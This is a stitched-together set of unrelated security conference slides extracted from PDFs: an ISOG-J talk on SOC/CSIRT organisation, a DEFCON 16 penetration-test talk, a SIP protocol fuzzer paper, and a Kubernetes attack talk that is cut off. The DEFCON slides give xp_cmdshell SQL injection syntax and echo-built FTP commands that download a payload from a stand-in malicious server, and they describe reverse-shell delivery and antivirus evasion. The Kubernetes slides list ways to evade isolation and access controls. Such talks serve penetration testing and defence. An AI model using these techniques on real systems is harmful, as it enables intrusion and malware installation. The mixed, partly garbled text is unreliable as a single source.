BBSec, NECXS, NTTCom, DIT, Fujitsu SSL, IBM Japan
2008
Kaspersky labs Japan, Softbank Technology
2010
NTT Data Security, UBSecure
2011
MIND, UNIS, UNIADEX
2012
Tricoder, SECOM Trust Systems, SCSK
2013
NTT Software, SecureSoft
Softbank mobile, NES
2014
2015
PERSOL Technology Staff, Cybozu
2016
NISSHO ELECTRONICS, Recruit Technologies, KDL
2017
GSX, NRI Secure, JRI, Marubeni OKI, Net One
Systems, PFU, PwC, KOANKEISO,
SecureWorks Japan
2018
ISOG-J member growth
50 membership organizations
(2019-08)
2019
SST, FUJI SOFT, Kawaguchi Sekkei, DIGITAL
HEARTS, Hitachi, Persol Process & Technology,
Lepidum, Mitsubishi Electric
©ISOG-J
Information Security Operation providers Group Japan
Activities of ISOG-J Working Groups (1)
• Security Operation Guideline WG (WG1)
– collaborates with OWASP Japan Chapter
– creates Pentesters’ skill map and syllabus
– Web app vulnerability assessment guideline / security requirement
• Security Operation Technology WG (WG2)
– to promote friendship among the members
– hold internal seminars of technical topics, then drink together
– we call these timetable “sub part” and “main part”
• It’s ok to join only “main part”!
7
©ISOG-J
Information Security Operation providers Group Japan
8
©ISOG-J
Information Security Operation providers Group Japan
9
©ISOG-J
Information Security Operation providers Group Japan
Activities of ISOG-J Working Groups (2)
• Security Operation-related Laws Research WG (WG3)
– research the laws and systems related to the SOC business
– Handy Compendium of Information Security Laws in Japan
• Security Operation Recognition and Propagation WG (WG4)
– to improve of the recognition of the security operations
– event and publicity planning
• Security Operations Chaos WG (WG Rock!(6))
– discussing any issues on security operation chaos
– taking an acronym: SOC
10
©ISOG-J
Information Security Operation providers Group Japan
11
©ISOG-J
Information Security Operation providers Group Japan
Past ISOG-J publications (1)
•
2008 Service map of Managed Security Services (listed up and
categorized)
•
2009 Guidelines to choose Managed Security Service
– How to choose the Managed Security Service that fits your organization
•
2011 Survey report on IPv6 readiness of security equipment
•
2011 Handy Compendium of Information Security Laws in Japan
– Revised in 2012 and 2015
•
2013 How to defend your business – a guide for security
assessment service (book)
12
©ISOG-J
Information Security Operation providers Group Japan
Past ISOG-J publications (2)
• 2014 Skillmap and syllabus of web pentesters (with OWASP
Japan Pentester Skillmap Project JP)
• 2016,2017 Skillmap and syllabus of platform pentesters /
Guideline for web application penetration testing (with
OWASP Japan Pentester Skillmap Project JP)
• 2018,2019 Web app vulnerability assessment guideline /
security requirements (with OWASP Japan Pentester Skillmap
Project JP)
13
©ISOG-J
Information Security Operation providers Group Japan
But these publications are...
• All written in Japanese
• Because most SOC/CSIRT members in Japan prefer Japanese
readings
14
©ISOG-J
Information Security Operation providers Group Japan
BUILDING SECURITY RESPONSE
TEAM
15
©ISOG-J
Information Security Operation providers Group Japan
ISOG-J is...
• A community for security operation providers
• Each company provides services for customers
16
©ISOG-J
Information Security Operation providers Group Japan
How to build your security response team?
• Many good documents already available
– textbooks, guides, frameworks...
• Documents that have a good reputation in Japan
– CSIRT Services Framework (FIRST)
– CSIRT Guide, CSIRT for Management Layer (JPCERT/CC)
– What is CSIRT?, CSIRT Human Resource (NCA)
– Cybersecurity Framework (NIST)
– SIM3 (Open CSIRT Foundation)
– Cybersecurity Management Guidelines (METI)
17
©ISOG-J
Information Security Operation providers Group Japan
Why difficult?
• Security response organization/team has various forms
• All situations vary from organization to organization
– scale, structure, staff composition, budgets
– industry, a type of business
– existing services, professionals
• What is the organization aiming for in the future?
18
©ISOG-J
Information Security Operation providers Group Japan
Classify and organize them from the viewpoint of operations
•
We broke down security operations into services
– categorized them into roles afterward
•
Summarize using these roles and services
– flows during security response
– interactions between roles or services
•
Textbook for Security Response Organization (SOC/CSIRT)
– ...but only in Japanese, sorry
•
Handbook for Security Response Organization (SOC/CSIRT)
– the summarized version of the textbook
19
©ISOG-J
Information Security Operation providers Group Japan
Past ISOG-J publications related to SOC/CSIRT
•
2015 Self-check sheet: prepare for information security incident response
(for beginners)
–
Easy-to-read, very short summary
•
2016 Overview of SOC member roles and required skills
•
2016 Textbook for Security Response Organization (SOC/CSIRT) ver.1.0
•
2017 Textbook for Security Response Organization (SOC/CSIRT) ver.2.0
(with self-check sheet)
•
2017,2018 6Ws on cybersecurity information sharing for enhancing
SOC/CSIRT ver.1.0
–
“6Ws” is “5W1H” in Japanese
•
2018,2019 Handbook for Security Response Organization (SOC/CSIRT)
20
©ISOG-J
Information Security Operation providers Group Japan
HANDBOOK FOR SECURITY
RESPONSE ORGANIZATION
(SOC/CSIRT)
21
©ISOG-J
Information Security Operation providers Group Japan
What is “Security Response”?
22
Security Response...
©ISOG-J
Information Security Operation providers Group Japan
23
• Even the same thing looks different from each others viewpoint
• if you are the Owner, CSO/CISO, Division director,
Manager, Security team leader, SOC operator, etc.
Understand that thinking is different depending on
their position; refer to the appropriate guidelines for each
©ISOG-J
Information Security Operation providers Group Japan
Guide
Duty / Service
Role / Skill
level of achievement
Management
―
―
CISO
CSIRT
SOC
NIST
Cybersecurity Framework
METI:
Cybersecurity
Management
Guidelines
ISMS
(ISO/IEC 27001:2013)
JNSA: CISO
Handbook
SIM3
Open CSIRT Foundation:
Security Incident
Management Maturity Model
ISOMM
ISOG-J SOC/CSIRT
Maturity Model
NICE Cybersecurity
Workforce Framework
JPCERT/CC: CSIRT
for management
layer
JNSA: SecBoK
Industry Cross-Sectoral
Committee for Cybersecurity
Human Resources Development:
Personnel definition reference
FIRST: CSIRT
Services
Framework
NCA: CSIRT
human resource
ISOG-J: Textbook for Security Response Organization
(SOC/CSIRT): Functions, Roles, Skills of Human Resources,
and Maturity
©ISOG-J
Information Security Operation providers Group Japan
25
Security Response Organization includes
SOC
CSIRT
Which team provides which
security roles depend on
each organization
(Security Operation Center)
©ISOG-J
Information Security Operation providers Group Japan
26
We categorized the operations
of security response
organizations in detail and
defined
9 roles
and
54 services
©ISOG-J
Information Security Operation providers Group Japan
The 9 roles
A) Managing Security Response Organization/Team
B) Real-time Analysis
C) Deep Analysis
D) Incident Response
E)
Assessment of the Achieved Security Level
F)
Threat Information Collection, Analysis, and Evaluation
G) Systems Development and Operation
H) Supporting Organization Governance and Threats Response
I)
Collaborating with Other Organizations
27
©ISOG-J
Information Security Operation providers Group Japan
The 54 services
28
A. Managing Security Response
Organization/Team
A-1 Overall direction
A-2 Triage criteria management
A-3 Action policy management
A-4 Quality management
A-5 Measuring the effect of security
responses
A-6 Resource management
B. Real-time Analysis
B-1 Basic real-time analysis
B-2 Advanced real-time analysis
B-3 Gathering information for triage
B-4 Reporting real-time analysis result
B-5 Answering inquiries on the report
C. Deep Analysis
C-1 Network forensics
C-2 Digital forensics
C-3 Malware sample analysis
C-4 Analysis of the whole attack
C-5 Preservation of evidence
D. Incident Response
D-1 Incident help desk
D-2 Incident management
D-3 Incident analysis
D-4 Remote operation
D-5 On-site operation
D-6 Internal collaboration
D-7 External collaboration
D-8 Incident response report
E. Assessment of the Achieved Security Level
E-1 Monitoring network information
E-2 Asset management
E-3 Vulnerability management and response
E-4 Automatic vulnerability assessment
E-5 Manual vulnerability assessment
E-6 Assessment of defense capability against
APT attack
E-7 Assessment of response capability on cyber
attack
F. Threat Information Collection, Analysis, and
Evaluation
F-1 Internal threat intelligence collection and
analysis
F-2 External threat intelligence collection and
evaluation
F-3 Reporting collected threat intelligence
F-4 Threat intelligence utilization
G. Systems Development and Operation
G-1 Basic operation of network security devices
G-2 Advanced operation of network security devices
G-3 Basic operation of endpoint security products
G-4 Advanced operation of endpoint security products
G-5 Deep analysis tool operation
G-6 Basic operation of analysis platform
G-7 Advanced operation of analysis platform
G-8 Verifying existing security products and tools
G-9 Investigating and developing brand new security
products and tools
G-10 Operates business systems
H. Supporting Organization Governance and Insider Threats
Response
H-1 Collection and management of audit information for
organization governance
H-2 Support for investigating and analyzing insider threats
H-3 Support for detecting and preventing insider threats
I. Collaborating with Other Organizations
I-1 Raising members' security awareness
I-2 Security training implementation and support for
members
I-3 Acting as a security advisor for organization members
I-4 Human resource recruitment and development for
security operation
I-5 Collaborating with security vendors
I-6 Collaborating with other security organizations
©ISOG-J
Information Security Operation providers Group Japan
29
Installation
Phase for considering and installing security
policy and supporting system that are
mandatory to operate security team
Operation
Phase for checking if the implemented system
is working as intended and maintaining daily
(normal) operation status to monitor and find
potential incidents
Response
Phase for responding to incidents that are
found internally or reported from external
parties
What is the security response?
ISOG-J “Handbook for Security Response Organization (SOC/CSIRT)”
©ISOG-J
Information Security Operation providers Group Japan
30
What is the role during security response?
ISOG-J “Handbook for Security Response Organization (SOC/CSIRT)”
©ISOG-J
Information Security Operation providers Group Japan
Security response organization services quadrant chart
31
©ISOG-J
Information Security Operation providers Group Japan
32
©ISOG-J
Information Security Operation providers Group Japan
33
Insource or Outsource patterns
©ISOG-J
Information Security Operation providers Group Japan
34
Strength of Security
Response Organization
Whether each role can be performed
continuously by the team
©ISOG-J
Information Security Operation providers Group Japan
35
How to measure your security
response organization?
Security Response Organization
Maturity Level Self-check Sheet
ISOMM (ISOG-J SOC/CSIRT Maturity Model)
©ISOG-J
Information Security Operation providers Group Japan
36
-77./77:70.727.7-01.7:1:
©ISOG-J
Information Security Operation providers Group Japan
HOW TO USE ISOMM
37
©ISOG-J
Information Security Operation providers Group Japan
Steps to use ISOMM
1. Understand the security response cycle, roles & services
2. Decide which roles/services you want to provide within your
organization
3. Know the current status of your insource/outsource style
4. Determine the goal of your insource/outsource style
5. Check the current status using the self-check sheet
6. Decide what to improve based on the results
38
©ISOG-J
Information Security Operation providers Group Japan
Steps to use ISOMM
1. Understand the security response cycle, roles & services
2. Decide which roles/services you want to provide within your
organization
3. Know the current status of your insource/outsource style
4. Determine the goal of your insource/outsource style
5. Check the current status using the self-check sheet
6. Decide what to improve based on the results
39
©ISOG-J
Information Security Operation providers Group Japan
Steps to use ISOMM
1. Understand the security response cycle, roles & services
2. Decide which roles/services you want to provide within
your organization
3. Know the current status of your insource/outsource style
4. Determine the goal of your insource/outsource style
5. Check the current status using the self-check sheet
6. Decide what to improve based on the results
40
©ISOG-J
Information Security Operation providers Group Japan
41
©ISOG-J
Information Security Operation providers Group Japan
Steps to use ISOMM
1. Understand the security response cycle, roles & services
2. Decide which roles/services you want to provide within your
organization
3. Know the current status of your insource/outsource style
4. Determine the goal of your insource/outsource style
5. Check the current status using the self-check sheet
6. Decide what to improve based on the results
42
©ISOG-J
Information Security Operation providers Group Japan
43
Insource or Outsource patterns
©ISOG-J
Information Security Operation providers Group Japan
44
Select the current pattern
and target pattern
We will aim for
minimum outsource
style in the future!
©ISOG-J
Information Security Operation providers Group Japan
Steps to use ISOMM
1. Understand the security response cycle, roles & services
2. Decide which roles/services you want to provide within your
organization
3. Know the current status of your insource/outsource style
4. Determine the goal of your insource/outsource style
5. Check the current status using the self-check sheet
6. Decide what to improve based on the results
45
©ISOG-J
Information Security Operation providers Group Japan
46
Rate each service on the
measure of an insourcing
or outsourcing scale
©ISOG-J
Information Security Operation providers Group Japan
47
Scoring chart
Insourcing
Outsourcing
0
Do nothing as a result of consideration
Do nothing as a result of consideration
1
Knowing and not doing, or not knowing
anything
Not confirm the results and the reports, or
not knowing anything
2
A few people can do operations, but not
documented
Not understand the services and the results
3
Several people can do operations, but not
documented
Not understand the services or the results
4
Team members can do operations by
referring to documents
The service quality and benefits are lower
than expected or not sufficient
5
Team members can do operations by
referring to documents that authorized by
responsible persons (ex. CISO, managers...)
The services and the benefits are as expected,
and confirm the reports and the results
©ISOG-J
Information Security Operation providers Group Japan
Some useful tips about the self-check
• 1 point if you do nothing without considering the item
• 1 point if you do not know the item or do not think about it
• The score changes depending on your position
– Rate these items as you think to visualize differences between
positions
• Self-check is to visualize things you did not know or could
not do, so do not be afraid to rate a low score
48
©ISOG-J
Information Security Operation providers Group Japan
Steps to use ISOMM
1. Understand the security response cycle, roles & services
2. Decide which roles/services you want to provide within your
organization
3. Know the current status of your insource/outsource style
4. Determine the goal of your insource/outsource style
5. Check the current status using the self-check sheet
6. Decide what to improve based on the results
49
©ISOG-J
Information Security Operation providers Group Japan
50
Radar chart: your scores
of each roles
©ISOG-J
Information Security Operation providers Group Japan
51
©ISOG-J
Information Security Operation providers Group Japan
The characteristic of analysis results by this tool
• Immediately after the staff changes, the score is often low
• If the operators and the engineers is self-checking, the score
often lower. If the managers and the leaders self-checking,
the scores often higher
• Outsourced services have higher scores
52
©ISOG-J
Information Security Operation providers Group Japan
Lightweight and easy-to-use tool
• Anyone who belongs to a security organization can self-
checking your organization's current status
– Visualize gaps felt by the type of occupation or individual differences
– Determine if there is a lack of service for security response in your
organization
• Compare with assessment results from third parties
• No improvement can be made without checking the current
status
– use ISOMM!
53
©ISOG-J
Information Security Operation providers Group Japan
CYBERSECURITY INFORMATION
SHARING
54
©ISOG-J
Information Security Operation providers Group Japan
Six Ws on cybersecurity information sharing for enhancing
SOC/CSIRT
• Released!
– The referral destination documents are only in Japanese
• we will make summary of necessary parts in English
• Please send us your comments!
55
download here https://goo.gl/qoCHtn
or from http://isog-j.org/e/
©ISOG-J
Information Security Operation providers Group Japan
the point of this Six Ws document
• the basics of security information sharing for members of
SOC/CSIRT
• Why mismatches when sharing information?
– We went back to the basics and thought
56
©ISOG-J
Information Security Operation providers Group Japan
Phasing incident handling triggered by shared information
57
©ISOG-J
Information Security Operation providers Group Japan
58
//
The roles responsible for each phase are different
CSIRT
SOC
IT System Team
CSIRT
©ISOG-J
Information Security Operation providers Group Japan
59
•
vulnerability identifier
•
CVE or patch number
•
affected systems
•
system type
•
version
•
conditions (e.g. configuration)
•
can security products prevent it?
//
When
Determine if action is required
Why
Is our organization affected?
Vulnerability information (What)
Attacking related information (What)
•
name that specifies the attack
•
campaign
•
malware/incident name
•
target of attack
•
attack vector
•
from where the attack comes
©ISOG-J
Information Security Operation providers Group Japan
Information sharing triangle
• Take just two out of the three!
– Fast, Accurate, Comprehensive
60
27th Annual FIRST Conference (2015), Lightning Talk: "Four Easy Pieces", Tom Millar (US-CERT, NIST)
©ISOG-J
Information Security Operation providers Group Japan
OVERALL SUMMARY
61
©ISOG-J
Information Security Operation providers Group Japan
Thanks!
• ISOG-J released Handbook for Security
Response Organization (SOC/CSIRT)
– You can use ISOMM and self-checking tool for
measure your security response team
• ISOG-J discussed information sharing on
cybersecurity from the fundamentals and
summarized it.
• Release soon! Please send us your
comments!
62
https://isog-j.org/e/ | pdf |
1
DEFCON 16
Black vs. White
The complete life cycle of a real world breach…
August 13th, 2008
David Kennedy aka ReL1K
Ken Stasiak aka Static
Scott White aka Sasquatch
Andrew Weidenhamer aka Leroy
CD Distribution
Note, this presentation was made specifically for the CD distribution at
DEFCON. The majority of the presentation is live demonstrations and rooting
boxes. Content has been added to the presentation to reproduce some of the
attacks we used.
2
Presentation Overview
Black vs. White: The complete lifecycle of a real world breach
Brief introduction – 3 minutes
Live demonstrations (Black Hat) – 15 minutes
Tool demonstrations (Black Hat) – Two tools 40 minutes
Manual techniques – 15 minutes
Detecting the breach (White Hat) - 5 minutes
What’s the Malware doing? (White Hat) - 10 minutes
How we built it and got it passed AV (White Hat) – 20 minutes
End Presentation
3
The Scenario
Fortune 100 company hired us in 2007 to perform a penetration to simulate an
attack. Ok. What's new? Well they wanted to see things from start to finish.
What we did…. Rooted them inside and out with some sweet hacks, installed
some malware that SURPRISINGLY AV didn’t catch (uh huh).
Great, we did some sweet stuff... They suspect a server is compromised, what
do you do to see if it is? Our AV isn’t doing squat, and our IPS only looks at
the network layer, operating system, and known web server attack
signatures... What about the web application layer?
4
Live Demonstration
Live Demonstration time.
5
Tool Demonstrations – Special Release
We’ve written two custom tools specifically for DEFCON:
SA Exploiter Beta
SQLPwn Beta
6
The Initial Attack
Login Form: Simple SQL Injection ‘ throws error messages.
7
Error Out Baby…
8
9
SQL Injection Basics
Basic SQL syntax:
SELECT <data field name> FROM <table> WHERE <conditional>
Example table named ‘users’
The query:
SELECT user_id FROM users WHERE login_name = ‘admin’ AND password = ‘p455w0rd’
would return the value 13
SELECT user_id FROM users WHERE login_name = ‘admin’ AND password = ‘p455w0rd’
Injection Points
user_id
login_name
password
13
admin
p455w0rd
Going Beyond ‘ OR 1=1--
XP_CMDSHELL in MSSQL
Definition from Microsoft: Executes a given command string as an operating
-system command shell and returns any output as rows of text. Grants non
-administrative users permissions to execute xp_cmdshell.
10
Exploiting XP_Cmdshell
xp_cmdshell gives us underlying operating system privileges
SQL Server service/agent is installed to run as SYSTEM by default, so we’re
running under elevated privileges...
Challenge with this is that we can’t generally see what’s being executed on
the underlying operating system. Payload delivery is cludgy and takes a long
time...might as well call it blind...
Blind SQL Injection poses some challenges, no good fuzzers for this out there
11
The Syntax
(As simple as it gets): ‘;exec master..xp_cmdshell ‘command here’—
What our attack looks like…
12
Binary to Hex Payload Delivery
Something that we haven’t seen yet is this method delivery through SQL
Injection.
13
Binary to Hex
Taking raw binary, converting the information to formatted hex. Using echo on
the underlying operating system to echo the hex to a text file.
Using Windows Debug to convert our hex back to a binary.
Ok so we go from binary to hex, hex through SQL, SQL to local text file as
hex, hex into memory, and then to a binary. Phew.
Benefits of this are we don’t have to worry about egress filtering for things like
FTP/TFTP delivery.
Some issues with Binary to Hex delivery is debug only supports 64kb file-size
limit. We’ve gotten around this though ;)
14
What the payload looks like
15
More Advanced
In both tools we use a more advanced method, the limitations with binary to
hex conversions through debug is the 64kb limit. Our delivery has to
generally be pretty small…
We can get around this in a few ways, lets discuss a couple..
16
Option 1 – HTTP GET
We can deliver a small payload (less then 4kb) that creates a raw socket and
pulls information off of a HTTP server.
This method is alright, and can be customized on ports, however this method
relies off of egress connections before establishing the connections. This is
one too many connections for us...
17
Option 2 – FTP Answer Files
This is about as basic as it gets…
echo ftp
echo open exploitmachine.maliciousserver.com
echo user
echo password
echo bin
echo get badpayload.exe
echo quit
Problem with this is its FTP, any IDS/IPS hopefully catches this type of
activity. It’s also several unnecessary egress connections that we don’t need..
18
The Royale with Cheese
Here’s what we’ve come up with to bypass these restrictions…
We dump a small payload (5kb) onto the server, use debug to convert it from
hex to a binary.
We then echo our malicious payload, whether it be 2kb or 5 gb into a file.
Our small payload converts hex to raw binary and to an output file.
No longer need to use debug for the large conversions, just for our initial
payload.
We can now deliver any size binary file we want to the remote server!
19
SA Exploiter
Ok it’s a Windows GUI, but has been tested on mono/wine ;)
We know most DEFCON attendees main OS is Windows.
String generator for automated SQL Injection
Deliver +64kb payloads through binary payload injection in SQL
Add local administrators on the system, disable AV, turn on RDP, inject VNC,
etc. etc.
20
SA Exploiter Copy and Paste Metasploit Shell Code
Metasploits famed Meterpreter delivered through SQL Injection anyone?
21
SA Exploiter String Generation (copy and paste)
22
Fuzzing Capabilities
23
SQLPwn
What is does: scans a subnet range i.e. 192.168.1.1-254 looking for port 80
and 443. If discovered, it obtains the hostname and automatically crawls the
entire site.
After the crawl, it looks at every input field/form parameter using both GET
and POST.
Attacks are launched to the entire site looking for both error based SQL
Injection and Blind SQL injection. It also has some fuzzing techniques built
into the tool for SQL string completion.
Once successful injection occurs, the xp_cmdshell is enabled if disabled and
a shell is spawned through a binary to hex payload.
Send +64kb payloads
24
Menu driven
25
Auto crawls the site…
26
The almighty reverse shell *bow*
27
Hmmm. Worm possibilities?
28
Malware Live Demonstration
Live Demonstration time.
29
Reverse shell picked up by AVG
Reverse shell in its original form, although packed with
API redirection it is still easily identified by antivirus
engine.
30
Here are the PE characteristics and values of our reverse shell. Notice
the tell-tale signs this binary is already compressed with a packer
(VSize much larger than RSize and section flags marked as executable
and writable).
31
Since our virtual size of the section (the amount that will be loaded into memory) is much greater than what’s actually on disk, this
means there will be many null bytes that will be used as placeholders to unpack code. We have to be careful where we can put our
code cave in this scenario, so that unpacked data is not overwriting or illegally accessed when we take control of the initial
execution of the binary. Normally, if the VSize is less than the RSize we can simply add code at the end of the section and increase
the VSize value in order to load our new code into memory. Since we are adding code to this area, we need to make sure that this
area is loaded into memory and will not be accessed later on by the original unpacking stub. Highlighted in red we have
addess0x110 bytes for our code-cave.
32
Code Cave in Action
Our code-cave in action, when it’s done decoding it will jump to the second
-stage OEP at 00040158.
33
Decoding
The second-stage decoding is in action here, notice all the imports that are
visible now. We are close to the original OEP.
34
Decoded Data
Notice in the dump window (lower left-hand side) our first-section is being
populated now with decoded data (remember it had a RSive of 0?).
35
Notice the “CALL” “JMP” method to get the imports by utilizing a JMP Thunk Table. By using this the loader does not need to fix code
that would use those API functions, it just simply has to add the pointer value to the table for reference. .
36
If we continue our process of loading the imports we finally come to a few CALLs,
one of which leads to the original OEP at 00401258.
37
The detached process used PID 5236, notice this process is not
accessible or listed as active.
38
If we drill into the programs running we will not discover any injected functions, rouge handles,
memory hijacks, or really any evidence we ran a program called “reverse.exe”. However, we do
notice two cmd.exe process running under different PIDs, spawned by a separate thread of
reverse.exe that issued a CreateProcess call. Notice if we inspect all system-calls utilized by our
reverse.exe program it indeed imports network capability functions from Ws2_32.dll. So, with this
knowledge we inspect one of the cmd.exe processes and notice a file handle of \Device\Afd, this is
indicative of a network socket. We have found the threaded process controlling our reverse-shell.
39
Our last test was to scan the binary on disk to see if we have
bypassed the signature analysis.
40
Fun Topic… 6 Hacks in 6 Minutes
Live demonstration of 6 hacks in 6 minutes…. Ready…… set…. GO!!!!
41
42
That’s all we got…
The END??? | pdf |
INTERSTATE: A Stateful
Protocol
Fuzzer
for SIP
Thoulfekar
Alrahem, Alex Chen, Nick DiGiussepe,
Jefferey
Gee, Shang‐Pin Hsiao, Sean Mattox,
Taejoon
Park,
Albert Tam, Ian G. Harris
Department of Computer Science
University of California Irvine
Irvine, CA 92697 USA
[email protected]
Marcel Carlsson
Fortconsult
Tranevej
16‐18
2400 Copenhagen NV Denmark
[email protected]
Fuzzing Basics
INVITE sip:[email protected]
SIP/2.0
Via: SIP/2.0/UDP lab.test.org:5060;branch=ziuh2w
Max-Forwards: 70
To: G. Marconi <sip:[email protected]>
From: Nikola
Tesla <sip:[email protected]>;tag=98767
Call-ID: [email protected]
Cseq: 1 INVITE
•Transmit a sequence of messages to a server, attempting to “break” it
•Apply “fuzzing functions” to message fields to reveal vulnerabilities
Typical Fuzzing Functions
Buffer Overflow - Make a field very long to force buffer overflow
Command Injection - Insert shell metacharacters to see if string is passed to a
shell
SQL Injection - Insert SQL reserved word to see if string is used to build an
SQL query
Session Initiation Protocol (SIP)
SIP Client
SIP Server
INVITE
180 Ringing
200 OK
ACK
BYE
200 OK
MEDIA SESSION
100 Trying
•Used to start, end, and modify communication sessions
between VOIP phones
•SIP does not transfer media (audio/video)
User Agent Client (UAC)
- Initiates call
- Sends Request Messages
User Agent Server (UAS)
- Receives call requests
- Send Response Messages
•We do not consider other SIP
entities, proxies, registrar servers,
etc.
•We are fuzzing the UAS, fuzzer is
a client
Previous Work, SIP Fuzzers
•SNOOZE Fuzzer
•“SNOOZE: toward a Stateful NetwOrk prOtocol fuzZEr”, G.
Banks, M. Cova, V. Felmetsger, K. Almeroth, R. Kemmerer, G.
Vigna, Information Security Conference, 2006
•Protocol state machine is used, XML-based description
•Fuzzing scenario defines message sequence, what to fields to
fuzz, what fuzzing primitives to use
•Fuzzing scenarios must be developed manually
Previous Work, SIP Fuzzers
•PROTOS Suite
•Free version:
http://www.ee.oulu.fi/research/ouspg/protos/testing/c07/sip
•Industrial version: http://www.codenomicon.com
•Predefined test suite, 4527 test cases
•Fuzz the INVITE message, teardown with CANCEL/ACK messages
•Detected vulnerabilities in several SIP implementations (8 of 9)
INTERSTATE Fuzzer, Contributions
1. Automatic exploration of server state machine
Input sequences are generated (messages, etc.) to
perform a random walk of the state machine
2. Evaluation of response messages
Responses received from server are checked for
correctness
Allows the detection of more subtle failures
Needed to accurately maintain current state of UAS
3. Control server GUI during fuzzing
GUI control needed to fully explore state space (ie.
accepting a phone call)
INTERSTATE Fuzzer
System
TestSequence
Generator
Response
Analyzer
UAS
requests
responses
GUI
Protocol
Description
INTERSTATEFuzzer
Protocol Description - State machine describing the protocol
Test Sequence Generator - Selects paths in the state machine
and generates inputs (messages, timeouts, GUI) to explore the
paths
Response Analyzer - Verifies correctness of response messages.
Supports synchronization between fuzzer and UAS
Protocol Description
decline
ring
cancel
special
OK
media
conn
reset
cancel
ack
R:Invite/
100Trying
-/
180Ringing,
SetTimerB
U:Decline/
603Decline
R:Ack
U:Offhook &
not(R:Cancel)/
200 OK,SetTimerD
U:Offhook&R:Cancel/
200 OK,SetTimerE
T:TimeoutD/ 408Timeout
R:Ack
R:Bye / 200 OK
R: Invite / 200 OK
R:Ack
T:TimeoutE/
408Timeout
R:Bye/ 200 OK
R:Ack
T:TimeoutB/
408Timeout
R:Cancel/
Error
State machine describes
the behavior of the UAS
We only consider the
following requests: INVITE,
CANCEL, BYE, ACK
Edges are not included in
this picture for clarity
Edges are labeled with
Inputs and Outputs
Inputs are Messages (R:),
Timeouts (T:), or GUI (U:)
Message Inputs
start
invite
R:INVITE/
100 Trying
•Fuzzer generates the message required to
traverse selected edge
•Dialog state is generated for INVITE and
used for all other messages in dialog
•Messages are fuzzed with a given probability
•The following fuzzing functions are used:
Repeat String - Increase string length by repeating it to force buffer
overflow
Command Injection - Insert shell metacharacters to see if string is
passed to a shell
Timer and GUI Inputs
decline
U: Decline/
603 Decline
start
ring
T: TimeoutB/
408 Timeout
•Some UAS state transitions depend on
timeouts
•Some UAS state transitions depend on
local user inputs
Accepting and declining a call
•Control of UAS GUI is needed to fully
explore state machine
•X11::GUITest Toolkit
http://soureforge.net/projects/x11guitest
Fuzz Generation Algorithm
curr_state = ‘start’;
while () {
e = select_outgoing_edge(curr_state);
generate_trigger(e);
r = get_response_message();
if (!correct_response(r)) then
exit(error detected);
else
curr_state = e.successor_state;
}
1. Select outgoing edge of UAS state machine
2. Generate input to trigger edge
3. Repeat until error is detected
Result Summary
•Used INTERSTATE to fuzz KPHONE, an open source SIP phone
•Revealed a timing vulnerability which causes a crash
•After a phone call is accepted, KPHONE loads necessary codecs
•Crash occurs if a BYE message is received during that time (<1sec)
start
invite
ring
OK
R: Invite/
100 Trying
-/ 180 Ringing,
SetTimerB
U:Offhook &
!R:Cancel/
200 OK, SetTimerD
BYE
Fuzzer
Result Information
•Vulnerability detected in 6 seconds wall clock time
•1.3 GHz AMD Athalon, 512 MB RAM, Debian Linux
•8 state machine edges traversed before vulnerability detected
Iteration 1:
Edge 1: start -> invite
Edge 2: invite -> ring
Edge 3: ring -> start
Iteration 2:
Edge 4: start -> invite
Edge 5: invite -> start
Iteration 3:
Edge 6: start -> invite
Edge 7: invite -> ring
Edge 8: ring -> OK (crash)
Conclusions
•Fuzzer automatically explores UAS state machine
•Verifies response messages for correctness
•Controls UAS GUI to enable full state space exploration
Future Work
•Test more open source soft phones
•Debug the phones to identify the source of the vulnerabilities
•Examine hard phones, circumvent keypad interface
http://testlab.ics.uci.edu/interstate
Get the source code! | pdf |
Infiltrate Your Kubernetes
Cluster
Kubernetes in Attacker View
Zhaoyan Xu
Principle Research Engineer
Palo Alto Networks
May 29, 2019
Tongbo Luo
Chief AI Secruity Scientist
JD.com
Agenda
Background
Security Features of Kubernetes
Attack Vectors
Lateral Movement Practices
Questions
Background
➢ Kubernetes becomes popular worldwide
➢ All mainstream cloud provider their K8s cluster, such as AKS/EKS/GKE, etc.
➢ According to iDatalabs[1] report, around 3,804 companies use K8s for their web application
deployments
➢ Yearly user growth rate over 150%
➢ How secure is K8s?
➢ Is K8s vulnerable to traditional attacks?
➢ What are new attack vectors for K8s clusters?
➢ How to conduct penetration test on your K8s cluster?
Essentials of Containerized Microservice
Service Mesh Layers
Istio
Linkerd
Orchestrator Layers
K8s
Openshift
Container Application Layers
Docker
Kata Container
Rkt
Essentials of K8s
Server-side Components:
api-server: central server
Controller-manger
Scheduler
Authentication/Authorization/Admission Control
etcd: kv store
Client-side Components:
kubelet: install on each host/virtual host
kubeproxy: traffic management/redirection
Terminology in K8s World
Pod: minimal unit for service schedule, containing one or more containers.
Deployment: bundle for one web application, such as combining db, frontend and backend server
together.
Service: interface to expose your web application.
Service Accounts: user account in K8s.
Role/Rolebinding: role-based access control in K8s.
Agenda
Background
Security Features of Kubernetes
Attack Vectors
Lateral Movement Practices
Questions
Overview of K8s Security Features(v1.12.7)
Isolation
Pod-level Isolation
Network Security Policy for Namespace Isolation
Authentication
HTTPs for all Traffic
Token, Client certificates, third-party Authentication
Authorization
Role-based Access Control
Admission Control (for pod, deployment, etc)
Pre-shipped Admission Control
Pod Security Policy
Pod Security Policy
cont
Illustration of Built-in Security Features of K8s: Creating a Pod
Agenda
Background
Security Features of Kubernetes
Attack Vectors
Lateral Movement Practices
Questions
Isolation Evasion
Network Scanning
Problem: Network Isolation is commonly enforced third-party plugins through Container
Network Interface(CNI). However, most third-party plugins have vulnerabilities and some
cannot enforce network security policy.
CNI plugins
Network Model
Support Network
Policies
Traffic Encryption
Calico
Layer 3
Support
Encrypted
Canal
Layer2, vxlan
Support
Not Encrypted
Flannel
Layer2, vxlan
Not Support
Not Encrypted
Kopeio
Layer2, vxlan
Not Support
Not Encrypted
Kube-router
Layer2, vxlan
Support
Not Encrypted
Isolation Evasion (cont)
Network Scanning
Problem: K8s has default service pods in the namespace, kube-system, and by default, these
services can be accessed by any pod in the cluster.
• One CVE Example: kube-dns pod, CVE-2017-14491
Problem: api-server can be accessed by any pod on port 6443. If the api-server allow
anonymous access, it leaks your cluster’s information.
• One CVE Example: CVE-2018-1002105
RBAC Evasion
Authentication Bypass
Problem: Some CNI plugins does not encrypt the traffic, so if token could be stolen if api-server
does not use HTTPs.
Problem: If Role is revoked, the associated pod is not automatically killed. So it will still has the
revoked role’s privilege.
Authorization Abuse
Problem: Implicit Access Flow
There are multiple ways to access same resource.
Example
kubectl create clusterrole secretadmin --verb=get --verb=list --
verb=create --verb=update --resource=secret
